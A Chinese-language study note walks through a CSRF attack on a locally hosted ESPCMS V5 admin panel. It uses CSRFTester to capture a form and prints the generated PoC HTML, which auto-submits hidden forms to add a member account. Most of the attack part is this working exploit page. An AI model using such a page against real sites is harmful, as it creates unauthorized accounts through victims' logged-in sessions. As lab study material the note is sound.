天天看點

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

聲明:

由于筆者能力有限,難免出現各種錯誤和漏洞。全文僅作為個人筆記,僅供參考。

筆記内容來源于各類網課

環境:ESPCMSV5(本地環境),CSRFTester

一、概述

使用CSRFTester工具生成POC,觸發CSRF。

二、CSRF利用

首先打開CSRFTester,它會監聽本地8008端口。我們配置浏覽器代理為本地8008端口。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

我們登陸系統背景,進入會員管理頁面。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

我們添加使用者。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

添加使用者名,登入密碼,确認密碼,郵箱。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

添加前打開CSRFTester的Start Recoding,抓取送出的表單。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

抓取到送出的表單。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用
[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

修改一下參數,參數為我們需要的新添加的使用者資訊。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用
[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

我們将html儲存到桌面即可。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

其中的代碼如下,也就是一個惡意頁面,裡面進行表單資料送出,觸發CSRF漏洞。 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "22","21","16","19","778" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 5;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://127.0.0.1:8010/adminsoft/index.php?archive=management&action=load&digheight=150">
<input type="hidden" name="name" value="value"/> 
</form>
<form method="POST" name="form1" action="http://127.0.0.1:8010/adminsoft/index.php?archive=membermain&action=membersave">
<input type="hidden" name="inputclass" value="add"/>
<input type="hidden" name="lng" value="cn"/>
<input type="hidden" name="tab" value="true"/>
<input type="hidden" name="username" value="tom"/>
<input type="hidden" name="password" value="hitom"/>
<input type="hidden" name="password2" value="hitom"/>
<input type="hidden" name="email" value="[email protected]"/>
<input type="hidden" name="question" value=""/>
<input type="hidden" name="answer" value=""/>
<input type="hidden" name="mcid" value="1"/>
<input type="hidden" name="alias" value=""/>
<input type="hidden" name="sex" value="1"/>
<input type="hidden" name="tel" value=""/>
<input type="hidden" name="mobile" value=""/>
<input type="hidden" name="birthday" value=""/>
<input type="hidden" name="address" value=""/>
<input type="hidden" name="zipcode" value=""/>
<input type="hidden" name="msn" value=""/>
<!-- 不需要使用的删除或注釋 -->
<!-- <input type="hidden" name="qq" value=""/>
</form>
<form method="GET" name="form2" action="http://127.0.0.1:8010/adminsoft/index.php?archive=membermain&action=memberlist&mcid=1&isclass=&country=&province=&city=&district=&limitkey=&limitclass=&countnum=2&freshid=0.11032087375676158">
<input type="hidden" name="name" value="value"/> 
</form>
<form method="POST" name="form3" action="http://127.0.0.1:8010/adminsoft/index.php?archive=membermain&action=memberlist&mcid=1&isclass=&country=&province=&city=&district=&limitkey=&limitclass=">
<input type="hidden" name="MinPageid" value="0"/>
<input type="hidden" name="page_id" value="0"/>
<input type="hidden" name="MaxPerPage" value="12"/>
</form>
<form method="GET" name="form4" action="http://detectportal.firefox.com:80/success.txt">
<input type="hidden" name="name" value="value"/> 
</form> -->

</body>
</html>
           

使用剛才登陸管理者的浏覽器打開這個index.html就觸發了CSRF漏洞。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

系統觸發CSRF漏洞,成功添加使用者tom。

[理論-學習]Web安全-CSRF-基礎03一、概述二、CSRF利用

繼續閱讀